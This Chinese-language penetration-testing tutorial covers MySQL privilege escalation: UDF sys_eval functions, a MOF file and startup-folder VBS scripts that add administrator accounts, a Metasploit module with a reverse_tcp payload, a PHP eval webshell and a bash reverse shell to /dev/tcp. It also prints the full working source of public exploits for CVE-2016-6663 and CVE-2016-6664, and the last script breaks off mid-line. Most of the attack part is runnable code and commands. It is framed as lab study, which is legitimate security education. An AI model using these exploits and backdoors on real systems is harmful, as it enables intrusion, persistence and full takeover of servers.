前言
前兩天參加了省賽的內(nèi)網(wǎng)滲透,在拿到webshell后發(fā)現(xiàn)是一個(gè)站庫(kù)分離,通過(guò)信息搜集得到了數(shù)據(jù)庫(kù)的賬號(hào)密碼,但是是一個(gè)www-data權(quán)限,執(zhí)行不了代理的命令,這時(shí)候就需要提權(quán)到root權(quán)限才能夠執(zhí)行命令,最后還沒(méi)有通過(guò)udf提權(quán),而是通過(guò)/tmp這個(gè)目錄能夠修改權(quán)限,改為777權(quán)限后使用的代理。因?yàn)閘inux打得比較少,我們隊(duì)在這個(gè)地方卡了很久,導(dǎo)致只打到了第一層網(wǎng)絡(luò),第二層內(nèi)網(wǎng)就沒(méi)有時(shí)間去打,所以補(bǔ)一下關(guān)于mysql的提權(quán)知識(shí)。
UDF提權(quán)
何為UDF
UDF是mysql的一個(gè)拓展接口,UDF(Userdefined function)可翻譯為用戶自定義函數(shù),這個(gè)是用來(lái)拓展MYSQL的技術(shù)手段。
使用過(guò)MySQL的人都知道,MySQL有很多內(nèi)置函數(shù)提供給使用者,包括字符串函數(shù)、數(shù)值函數(shù)、日期和時(shí)間函數(shù)等,給開發(fā)人員和使用者帶來(lái)了很多方便。MySQL的內(nèi)置函數(shù)雖然豐富,但畢竟不能滿足所有人的需要,有時(shí)候我們需要對(duì)表中的數(shù)據(jù)進(jìn)行一些處理而內(nèi)置函數(shù)不能滿足需要的時(shí)候,就需要對(duì)MySQL進(jìn)行一些擴(kuò)展,幸運(yùn)的是,MySQL給使用者提供了添加新函數(shù)的機(jī)制,這種使用者自行添加的MySQL函數(shù)就稱為UDF(User Define Function)。其實(shí)除了UDF外,使用者還可以將函數(shù)添加為MySQL的固有(內(nèi)建)函數(shù),固有函數(shù)被編譯進(jìn)mysqld服務(wù)器中,稱為永久可用的,不過(guò)這種方式較添加UDF復(fù)雜,升級(jí)維護(hù)都較為麻煩,這里我們不做討論。無(wú)論你使用哪種方法去添加新函數(shù),它們都可以被SQL聲明調(diào)用,就像 ABS()或SUM()這樣的固有函數(shù)一樣。
UDF利用條件
1.知道數(shù)據(jù)庫(kù)的用戶和密碼;2.mysql可以遠(yuǎn)程登錄;3.mysql有寫入文件的權(quán)限,即secure_file_priv的值為空。
關(guān)于第一點(diǎn)就不用多說(shuō)了,可以通過(guò)拿到webshell之后翻閱文件得到,對(duì)于不同情況下有不同得獲取方式,這里不再贅述;主要提一下第二三點(diǎn)。
在默認(rèn)情況下,mysql只允許本地登錄,我們知道可以通過(guò)navicat去連接數(shù)據(jù)庫(kù)(在知道帳號(hào)密碼的情況下),但是如果只允許本地登錄的情況下,即使知道賬號(hào)密碼的情況下也不能夠連接上mysql數(shù)據(jù)庫(kù),那么在這種情況下就只有通過(guò)拿到本機(jī)的高權(quán)限rdp登陸遠(yuǎn)程桌面后連接。
遠(yuǎn)程連接對(duì)應(yīng)的設(shè)置在mysql目錄下的/etc/mysql/my.conf文件,對(duì)應(yīng)的設(shè)置為bind-address = 127.0.0.1這一行,這是默認(rèn)情況下的設(shè)置,如果我們要允許在任何主機(jī)上面都能夠遠(yuǎn)程登錄mysql的話,就只要把bind-address改成0.0.0.0即可,即bind-address = 0.0.0.0
光更改配置文件還不夠,還需要給遠(yuǎn)程登陸的用戶賦予權(quán)限,首先新建一個(gè)admin/123456用戶,使用%來(lái)允許任意ip登錄mysql,這樣我們就能夠通過(guò)navicat使用admin/123456用戶遠(yuǎn)程連接到數(shù)據(jù)庫(kù)
grant all on *.* to admin@'%' identified by '123456' with grant option;flush privileges;
關(guān)于第三點(diǎn)的secure_file_priv參數(shù),這里有三個(gè)值,分別為NULL、/tmp、空,NULL顧名思義即不允許導(dǎo)入或?qū)С?,那么在這種情況下就不能使用sql語(yǔ)句向數(shù)據(jù)庫(kù)內(nèi)寫入任何語(yǔ)句,/tmp的意思是只能在/tmp目錄下寫入文件,這種情況下就需要考慮寫入文件到文件夾后能否在網(wǎng)頁(yè)上訪問(wèn)連接到這個(gè)目錄,如果這個(gè)值為空,那么就可以通過(guò)構(gòu)造sql語(yǔ)句向mysql數(shù)據(jù)庫(kù)下的任何目錄寫入文件。
這里還有一個(gè)需要了解的點(diǎn)就是在mysql5.5版本之前secure_file_priv這個(gè)值是默認(rèn)為空的,那么我們拿到的webshell如果對(duì)應(yīng)的mysql數(shù)據(jù)庫(kù)版本在5.5以下的話操作起來(lái)就比較方便,在mysql5.5版本之后secure_file_priv這個(gè)值是默認(rèn)為NULL的,即不能夠往數(shù)據(jù)庫(kù)內(nèi)寫入文件。
手動(dòng)提權(quán)
首先這里現(xiàn)在官網(wǎng)下載一個(gè)mysql,這里我下載的是5.5.19,注意這里需要下msi文件,不要下zip文件
下載好后進(jìn)行安裝即可
這里使用utf-8字符集
安裝好后使用mysql -u root -p進(jìn)入mysql
因?yàn)槲沂?.5.19版本,必須把 UDF 的動(dòng)態(tài)鏈接庫(kù)文件放置于 MySQL 安裝目錄下的 libplugin 文件夾下文件夾下才能創(chuàng)建自定義函數(shù)。這里說(shuō)到了動(dòng)態(tài)鏈接庫(kù),動(dòng)態(tài)鏈接庫(kù)就是實(shí)現(xiàn)共享函數(shù)庫(kù)概念的一種方式,在windows環(huán)境下后綴名為.dll,在linnux環(huán)境下后綴名為.so
那么這里利用.dll或.so文件在哪里去找呢?這兩個(gè)文件在sqlmap和msf里面都有內(nèi)置
首先在sqlmap里面找一下,在sqlmap里面對(duì)應(yīng)的目錄地址為udf/mysql,這里進(jìn)入目錄后可以看到sqlmap已經(jīng)幫我們分好類了
不過(guò) sqlmap 中 自帶這些動(dòng)態(tài)鏈接庫(kù)為了防止被誤殺都經(jīng)過(guò)編碼處理過(guò),不能被直接使用。這里如果后綴名為.so_或dll_的話,就需要解碼,如果后綴名為.so或.dll的話就不需要解碼即可直接使用。這里sqlmap也自帶了解碼的py腳本,在/extra/cloak目錄下,使用cloak.py解密即可。
命令如下(這里使用到64位的dll,其他版本改后綴名即可)
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
這里好像因?yàn)槲冶緳C(jī)的環(huán)境配置的問(wèn)題這里py3沒(méi)有執(zhí)行成功,這里換到kali環(huán)境里面使用py2解密
python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
另外可以用msf提供的動(dòng)態(tài)鏈接庫(kù)文件,這里注意msf里面的動(dòng)態(tài)鏈接庫(kù)是已經(jīng)解密好了的可以直接使用,msf下的動(dòng)態(tài)鏈接庫(kù)目錄如下
/usr/share/metasploit-framework/data/exploits/mysql/
直接拿出來(lái)使用010 editor進(jìn)行查看是包含了一些函數(shù)
解密過(guò)程完成之后就需要把解密得到的UDF動(dòng)態(tài)鏈接庫(kù)文件放到mysql的插件目錄下,這里使用如下命令查詢插件目錄的位置
show variables like "%plugin%";
這里可以看到我的插件目錄就是C:Program FilesMySQLMySQL Server 5.5lib/plugin
使用select @@basedir查看一下MySQL安裝的位置
這里因?yàn)橹粏为?dú)安裝了一個(gè)MySQL,沒(méi)有安裝其他的web,所以為了更好的還原環(huán)境,這里使用phpstudy來(lái)搭建環(huán)境,這里假設(shè)我已經(jīng)拿到了一個(gè)目標(biāo)機(jī)器的webshell,但是這里權(quán)限很低,使用到udf提權(quán)
首先來(lái)到MySQL/lib文件夾下,這里可以看到是沒(méi)有plugin這個(gè)文件夾的,所以這里需要我們先創(chuàng)建一個(gè)文件夾
創(chuàng)建plugin文件夾
然后把解密過(guò)后的lib_mysqludf_sys_64.dll放到plugin文件夾下
這里為了方便我把dll改名為udf.dll,但是這里報(bào)錯(cuò)ERROR 1126,這里我百度過(guò)后發(fā)現(xiàn)這個(gè)dll并不是跟系統(tǒng)位數(shù)有關(guān)的,而是跟mysql版本有關(guān)系,而且phpstudy自帶的mysql版本需要用32位的dll才能夠操作
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
這里我上傳一個(gè)32位的dll到plugin文件夾內(nèi)
再使用命令創(chuàng)建自定義函數(shù)即可
然后使用命令查看是否新增了sys_eval函數(shù)
select * from mysql.func;
可以看到這里創(chuàng)建成功那么就可以執(zhí)行系統(tǒng)命令,到這里就是一個(gè)高權(quán)限了,而且如果有disable_functions把函數(shù)禁用了,用udf提權(quán)也是能夠操作的
拓展:UDF shell
允許外連
這里可以使用寫好的大馬udf.php來(lái)自動(dòng)提權(quán),我們測(cè)試一下
首先把php上傳到可以網(wǎng)頁(yè)訪問(wèn)的位置,這里我直接連接報(bào)錯(cuò)了應(yīng)該是因?yàn)闆](méi)有設(shè)置可以外連,只允許本地連接,首先實(shí)驗(yàn)一下允許外聯(lián)的情況
這里進(jìn)入my.ini文件設(shè)置bind-address = 0.0.0.0
然后創(chuàng)建一個(gè)admin/123456用戶允許外連
再次登錄即可登錄成功
這里首先dump udf.dll到plugin文件夾下,這里可以看到dump dll成功
然后創(chuàng)建函數(shù),再執(zhí)行命令即可
不允許外連
這里我們?cè)侔?/span>bind-address = 0.0.0.0這行注釋掉之后進(jìn)行試驗(yàn),因?yàn)椴辉试S外連,那么只有本地連接數(shù)據(jù)庫(kù),這時(shí)候很容易想到正向連接我們代理進(jìn)去連接數(shù)據(jù)庫(kù)。這里使用reg、ew都可以,但是這里因?yàn)槭莔ysql的原因,使用navicat自帶的tunnel腳本會(huì)更加方便。
首先測(cè)試一下,是不允許外連的(這里圖搞錯(cuò)了)
這里上傳nutunnel_mysql.php到靶機(jī)上訪問(wèn),這里看到已經(jīng)連接成功了
然后連接的時(shí)候設(shè)置HTTP隧道
即可連接到mysql,然后提權(quán)操作同前
MOF提權(quán)
mof是windows系統(tǒng)的一個(gè)文件(在c:/windows/System32/wbem/mof/nullevt.mof)叫做"托管對(duì)象格式"其作用是每隔五秒就會(huì)去監(jiān)控進(jìn)程創(chuàng)建和死亡。其就是用又了mysql的root權(quán)限了以后,然后使用root權(quán)限去執(zhí)行我們上傳的mof。隔了一定時(shí)間以后這個(gè)mof就會(huì)被執(zhí)行,這個(gè)mof當(dāng)中有一段是vbs腳本,這個(gè)vbs大多數(shù)的是cmd的添加管理員用戶的命令。
利用條件
- 只使用于windows系統(tǒng),一般低版本系統(tǒng)才可以用,比如xp、server2003
- 對(duì)C:WindowsSystem32wbemMOF目錄有讀寫權(quán)限
- 可以找到一個(gè)可寫目錄,寫入mof文件
手動(dòng)提權(quán)
這里我沒(méi)有安裝2003的虛擬機(jī),所以就不放圖了,寫一下提權(quán)的步驟
生成testmod.mod文件并上傳到靶機(jī)的可寫目錄
#pragma namespace(".rootsubscription") instance of __EventFilter as $EventFilter { EventNamespace = "RootCimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user test test123 /add")nWSH.run("net.exe localgroup administrators test /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
進(jìn)入mysql命令行執(zhí)行導(dǎo)入命令,導(dǎo)入完成過(guò)后系統(tǒng)會(huì)自動(dòng)運(yùn)行
select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
使用net user命令即可發(fā)現(xiàn)已經(jīng)加入了管理員組
msf提權(quán)
msf內(nèi)置了MOF提權(quán)模塊,相比于手動(dòng)提權(quán)的好處就是msf的MOF模塊有自動(dòng)清理痕跡的功能
use exploit/windows/mysql/mysql_mofset payload windows/meterpreter/reverse_tcpset rhosts 192.168.10.17set username rootset password rootrun
拓展
因?yàn)槊扛魩追昼姇r(shí)間又會(huì)重新執(zhí)行添加用戶的命令,所以想要清理痕跡得先暫時(shí)關(guān)閉 winmgmt 服務(wù)再刪除相關(guān) mof 文件,這個(gè)時(shí)候再刪除用戶才會(huì)有效果
# 停止 winmgmt 服務(wù)net stop winmgmt# 刪除 Repository 文件夾rmdir /s /q C:Windowssystem32wbemRepository# 手動(dòng)刪除 mof 文件del C:Windowssystem32wbemmofgoodtest.mof /F /S# 刪除創(chuàng)建的用戶net user hacker /delete# 重新啟動(dòng)服務(wù)net start winmgmt
啟動(dòng)項(xiàng)提權(quán)
windows開機(jī)時(shí)候都會(huì)有一些開機(jī)啟動(dòng)的程序,那時(shí)候啟動(dòng)的程序權(quán)限都是system,因?yàn)槭莝ystem把他們啟動(dòng)的,利用這點(diǎn),我們可以將自動(dòng)化腳本寫入啟動(dòng)項(xiàng),達(dá)到提權(quán)的目的。當(dāng) Windows 的啟動(dòng)項(xiàng)可以被 MySQL 寫入的時(shí)候可以使用 MySQL 將自定義腳本導(dǎo)入到啟動(dòng)項(xiàng)中,這個(gè)腳本會(huì)在用戶登錄、開機(jī)、關(guān)機(jī)的時(shí)候自動(dòng)運(yùn)行。
這個(gè)地方既然碰到了啟動(dòng)項(xiàng)提權(quán),就總結(jié)一下不限于mysql的啟動(dòng)項(xiàng)提權(quán)方法。
啟動(dòng)項(xiàng)路徑
在windows2003的系統(tǒng)下,啟動(dòng)項(xiàng)路徑如下:
C:Documents and SettingsAdministrator「開始」菜單程序啟動(dòng)C:Documents and SettingsAll Users「開始」菜單程序啟動(dòng)
在windows2008的系統(tǒng)下,啟動(dòng)項(xiàng)路徑如下:
C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupC:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
自動(dòng)化腳本
我們?cè)谀玫揭粋€(gè)網(wǎng)站的webshell的時(shí)候如果想進(jìn)一步的獲得網(wǎng)站的服務(wù)器權(quán)限,查看服務(wù)器上系統(tǒng)盤的可讀可寫目錄,若是啟動(dòng)目錄 “C:Users用戶名AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup” 是可讀可寫的,我們就可以執(zhí)行上傳一個(gè)vbs或者bat的腳本進(jìn)行提權(quán)。
這里使用test.vbs添加用戶密碼,上傳到啟動(dòng)目錄重啟的時(shí)候即可自動(dòng)添加賬號(hào)密碼
set wshshell=createobject("wscript.shell")a=wshshell.run("cmd.exe /c net user test test123 /add",0)b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
使用sql語(yǔ)句
連接到mysql之后創(chuàng)建一個(gè)表寫入sql語(yǔ)句
use mysql;create table test(cmd text);insert into a values(“set wshshell=createobject(“”wscript.shell””)”);insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);select * from a into outfile “C:Documents and SettingsAll Users「開始」菜單程序啟動(dòng)secist.vbs”;
重啟之后即可提權(quán)
cve-2016-6663&CVE-2016-6664
CVE-2016-6663是競(jìng)爭(zhēng)條件(race condition)漏洞,它能夠讓一個(gè)低權(quán)限賬號(hào)(擁有CREATE/INSERT/SELECT權(quán)限)提升權(quán)限并且以系統(tǒng)用戶身份執(zhí)行任意代碼。也就是說(shuō),我們可以通過(guò)他得到一整個(gè)mysql的權(quán)限。
CVE-2016-6664是root權(quán)限提升漏洞,這個(gè)漏洞可以讓擁有MySQL系統(tǒng)用戶權(quán)限的攻擊者提升權(quán)限至root,以便進(jìn)一步攻擊整個(gè)系統(tǒng)。
導(dǎo)致這個(gè)問(wèn)題的原因其實(shí)是因?yàn)镸ySQL對(duì)錯(cuò)誤日志以及其他文件的處理不夠安全,這些文件可以被替換成任意的系統(tǒng)文件,從而被利用來(lái)獲取root權(quán)限??梢钥吹剑瑑蓚€(gè)cve分別是用來(lái)將低權(quán)限的www-data權(quán)限提升為mysql權(quán)限,然后再將mysql提升為root權(quán)限。
利用條件
CVE-2016-6663
- 1.已經(jīng)getshell,獲得www-data權(quán)限
- 2.獲取到一個(gè)擁有create,drop,insert,select權(quán)限的數(shù)據(jù)庫(kù)賬號(hào),密碼
- 3.提權(quán)過(guò)程需要在交互式的shell環(huán)境中運(yùn)行,所以需要反彈shell再提權(quán)
- 4.Mysql<5.5.51或<5.6.32或<5.7.14
CVE-2016-6664
- 1.目標(biāo)主機(jī)配置必須是是基于文件的日志(默認(rèn)配置),也就是不能是syslog方式(通過(guò)cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看沒(méi)有包含“syslog”字樣即可)
- 2.需要在mysql權(quán)限下運(yùn)行才能利用
- 3.Mysql<5.5.51或<5.6.32或<5.7.14
環(huán)境搭建
這里使用到tutum/lamp的鏡像環(huán)境,運(yùn)行docker并連接
docker pull tutum/lampdocker run -d -P tutum/lampdocker psdocker exec -it b9 /bin/bash
安裝apt,wget,gcc,libmysqlclient-dev
apt updateapt install -y wget gcc libmysqlclient-dev
寫入一個(gè)一句話木馬方便后續(xù)連接,這里注意,linux環(huán)境下用echo命令寫入木馬需要加' '進(jìn)行轉(zhuǎn)義,否則會(huì)報(bào)錯(cuò)
cd /var/htmlecho '<?php @eval($_POST['hacker']); ?>' > shell.php
給web路徑賦予777權(quán)限
chmod -R 777 /var/www/html
進(jìn)入mysql環(huán)境添加一個(gè)對(duì)test庫(kù)有create,drop,insert,select權(quán)限的test用戶,密碼為123456
將apache2和mysql服務(wù)重啟并重新保存容器,將新容器的80端口映射到8080端口,3306映射到3306端口的方式運(yùn)行容器。
service restart apache2service restart mysqlocker commit c0ae81326db0 test/lampdocker run -d -p 8080:80 -p 3306:3306 test/lamp
訪問(wèn)一下8080端口若出現(xiàn)如下界面則環(huán)境搭建成功
CVE-2016-6663
cve-2016-6663即將www-data權(quán)限提升為mysql權(quán)限,首先連接我們之前寫入的webshell
首先看一下權(quán)限跟目錄的可執(zhí)行狀況,可以看到html目錄下是777
然后寫入exp,命名為mysql-privesc-race.c,exp如下所示
#include <fcntl.h>#include <grp.h>#include <mysql.h>#include <pwd.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/inotify.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/wait.h>#include <time.h>#include <unistd.h>#define EXP_PATH "/tmp/mysql_privesc_exploit"#define EXP_DIRN "mysql_privesc_exploit"#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessaryMYSQL *conn; // DB handlesMYSQL_RES *res;MYSQL_ROW row;unsigned long cnt;void intro() {printf( "033[94mn" "MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploitn" "mysql-privesc-race.c (ver. 1.0)nn" "CVE-2016-6663 / CVE-2016-5616nn" "For testing purposes only. Do no harm.nn" "Discovered/Coded by:nn" "Dawid Golunski n" "http://legalhackers.com" "033[0mnn");}void usage(char *argv0) { intro(); printf("Usage:nn%s user pass db_host databasenn", argv0);}void mysql_cmd(char *sql_cmd, int silent) { if (!silent) { printf("%s n", sql_cmd); } if (mysql_query(conn, sql_cmd)) { fprintf(stderr, "%sn", mysql_error(conn)); exit(1); } res = mysql_store_result(conn); if (res>0) mysql_free_result(res);}int main(int argc,char **argv){ int randomnum = 0; int io_notified = 0; int myd_handle; int wpid; int is_shell_suid=0; pid_t pid; int status; struct stat st; /* io notify */ int fd; int ret; char buf[4096] __attribute__((aligned(8))); int num_read; struct inotify_event *event; /* credentials */ char *user = argv[1]; char *password = argv[2]; char *db_host = argv[3]; char *database = argv[4]; // Disable buffering of stdout setvbuf(stdout, NULL, _IONBF, 0); // Get the params if (argc!=5) { usage(argv[0]); exit(1); } intro(); // Show initial privileges printf("n[ ] Starting the exploit as: n"); system("id"); // Connect to the database server with provided credentials printf("n[ ] Connecting to the database `%s` as %s@%sn", database, user, db_host); conn = mysql_init(NULL); if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) { fprintf(stderr, "%sn", mysql_error(conn)); exit(1); } // Prepare tmp dir printf("n[ ] Creating exploit temp directory %sn", "/tmp/" EXP_DIRN); umask(000); system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN); system("chmod g s /tmp/" EXP_DIRN ); // Prepare exploit tables :) printf("n[ ] Creating mysql tables nn"); mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0); mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0); mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0); mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0); // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory printf("n[ ] Copying bash into the mysql_suid_shell table.n After the exploitation the following file/table will be assigned SUID and executable bits : n"); system("cp /bin/bash " SUID_SHELL); system("ls -l " SUID_SHELL); // Use inotify to get the timing right fd = inotify_init(); if (fd < 0) { printf("failed to inotify_initn"); return -1; } ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE); /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID exec perms */ printf("n[ ] Entering the race loop... Hang in there...n"); while ( is_shell_suid != 1 ) { cnt ; if ( (cnt % 100) == 0 ) { printf("->"); //fflush(stdout); } /* Create empty file , remove if already exists */ unlink(MYSQL_TEMP_FILE); unlink(MYSQL_TAB_FILE); mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1); mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1); /* random num if needed */ srand ( time(NULL) ); randomnum = ( rand() % MAX_DELAY ); // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink pid = fork(); if (pid < 0) { fprintf(stderr, "Fork failed :(n"); } /* Child process - executes REPAIR TABLE SQL statement */ if (pid == 0) { usleep(500); unlink(MYSQL_TEMP_FILE); mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1); // child stops here exit(0); } /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */ if (pid > 0 ) { io_notified = 0; while (1) { int processed = 0; ret = read(fd, buf, sizeof(buf)); if (ret < 0) { break; } while (processed < ret) { event = (struct inotify_event *)(buf processed); if (event->mask & IN_CLOSE) { if (!strcmp(event->name, "exploit_table.TMD")) { //usleep(randomnum); // Set the .MYD permissions to suid exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE); myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777); close(myd_handle); chmod(MYSQL_TAB_FILE, 04777); // Replace the temp .TMD file with a symlink to the target sh binary to get suid exec unlink(MYSQL_TEMP_FILE); symlink(SUID_SHELL, MYSQL_TEMP_FILE); io_notified=1; } } processed = sizeof(struct inotify_event); } if (io_notified) { break; } } waitpid(pid, &status, 0); } // Check if SUID bit was set at the end of this attempt if ( lstat(SUID_SHELL, &st) == 0 ) { if (st.st_mode & S_ISUID) { is_shell_suid = 1; } } } printf("nn[ ] 033[94mBingo! Race won (took %lu tries) !033[0m Check out the 033[94mmysql SUID shell033[0m: nn", cnt); system("ls -l " SUID_SHELL); printf("n[ ] Spawning the 033[94mmysql SUID shell033[0m now... n Remember that from there you can gain 033[1;31mroot033[0m with vuln 033[1;31mCVE-2016-6662033[0m or 033[1;31mCVE-2016-6664033[0m :)nn"); system(SUID_SHELL " -p -i "); //system(SUID_SHELL " -p -c '/bin/bash -i -p'"); /* close MySQL connection and exit */ printf("n[ ] Job done. Exitingnn"); mysql_close(conn); return 0;}
這里我直接用蟻劍執(zhí)行的話執(zhí)行不了
使用nc配合bash命令反彈后執(zhí)行命令,即可從www-data權(quán)限提升到mysql權(quán)限
nc -lvvp 7777/bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1cd var/www/html/gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient./mysql-privesc-race test 123456 localhost test
CVE-2016-6664
cve-2016-6664即把mysql權(quán)限提升到root權(quán)限
tutum/lamp日志方式不是默認(rèn)的基于文件的日志,而是syslog,所以我們首先要將它改為默認(rèn)配置
vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf
刪除掉syslog,然后重啟mysql
使用exp
#!/bin/bash -p## MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit# mysql-chowned.sh (ver. 1.0)## CVE-2016-6664 / OCVE-2016-5617## Discovered and coded by:## Dawid Golunski# dawid[at]legalhackers.com## https://legalhackers.com## Follow https://twitter.com/dawid_golunski for updates on this advisory.## This PoC exploit allows attackers to (instantly) escalate their privileges# from mysql system account to root through unsafe error log handling.# The exploit requires that file-based logging has been configured (default).# To confirm that syslog logging has not been enabled instead use:# grep -r syslog /etc/mysql# which should return no results.## This exploit can be chained with the following vulnerability:# CVE-2016-6663 / OCVE-2016-5616# which allows attackers to gain access to mysql system account (mysql shell).## In case database server has been configured with syslog you may also use:# CVE-2016-6662 as an alternative to this exploit.## Usage:# ./mysql-chowned.sh path_to_error.log ### See the full advisory for details at:# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html## Video PoC:# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html## Disclaimer:# For testing purposes only. Do no harm.#BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/mysqlrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"function cleanexit { # Cleanup echo -e "n[ ] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e "n[ ] Job done. Exiting with code $1 n" exit $1}function ctrl_c() { echo -e "n[ ] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation." cleanexit 0}#intro echo -e "033[94m nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit nmysql-chowned.sh (ver. 1.0)nnCVE-2016-6664 / OCVE-2016-5617n"echo -e "Discovered and coded by: nnDawid Golunski nhttp://legalhackers.com 033[0m"# Argsif [ $# -lt 1 ]; then echo -e "n[!] Exploit usage: nn$0 path_to_error.log n" echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`n" exit 3fi# Priv checkecho -e "n[ ] Starting the exploit as n033[94m`id`033[0m"id | grep -q mysql if [ $? -ne 0 ]; then echo -e "n[!] You need to execute the exploit as mysql user! Exiting.n" exit 3fi# Set target pathsERRORLOG="$1"if [ ! -f $ERRORLOG ]; then echo -e "n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.n" exit 3fiecho -e "n[ ] Target MySQL log file set to $ERRORLOG"# [ Active exploitation ]trap ctrl_c INT# Compile privesc preload libraryecho -e "n[ ] Compiling the privesc shared library ($PRIVESCSRC)"cat <<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include <stdio.h>#include <sys/stat.h>#include <unistd.h>#include <dlfcn.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h>uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); //unlink("/etc/ld.so.preload"); } return old_geteuid();}_solibeof_/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"if [ $? -ne 0 ]; then echo -e "n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2;fi# Prepare backdoor shellcp $BACKDOORSH $BACKDOORPATHecho -e "n[ ] Backdoor/low-priv shell installed at: n`ls -l $BACKDOORPATH`"# Safety checkif [ -f /etc/ld.so.preload ]; then echo -e "n[!] /etc/ld.so.preload already exists. Exiting for safety." exit 2fi# Symlink the log file to /etcrm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOGif [ $? -ne 0 ]; then echo -e "n[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3fiecho -e "n[ ] Symlink created at: n`ls -l $ERRORLOG`"# Wait for MySQL to re-open the logsecho -ne "n[ ] Waiting for MySQL to re-open the logs/MySQL service restart...n"read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWERif [ "$THE_ANSWER" = "y" ]; then echo -e "Got it. Executing 'killall mysqld' now..." killall mysqldfiwhile :; do sleep 0.1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload rm -f $ERRORLOG break; fidone# /etc/ dir should be owned by mysql user at this point# Inject the privesc.so shared library to escalate privilegesecho $PRIVESCLIB > /etc/ld.so.preloadecho -e "n[ ] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: n`ls -l /etc/ld.so.preload`"echo -e "n[ ] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"echo -e "n[ ] The /etc/ld.so.preload file now contains: n`cat /etc/ld.so.preload`"chmod 755 /etc/ld.so.preload# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)echo -e "n[ ] Escalating privileges via the $SUIDBIN SUID binary to get root!"sudo 2>/dev/null >/dev/null#while :; do # sleep 0.1# ps aux | grep mysqld | grep -q 'log-error'# if [ $? -eq 0 ]; then# break;# fi#done# Check for the rootshellls -l $BACKDOORPATHls -l $BACKDOORPATH | grep rws | grep -q rootif [ $? -eq 0 ]; then echo -e "n[ ] Rootshell got assigned root SUID perms at: n`ls -l $BACKDOORPATH`" echo -e "n033[94mGot root! The database server has been ch-OWNED !033[0m"else echo -e 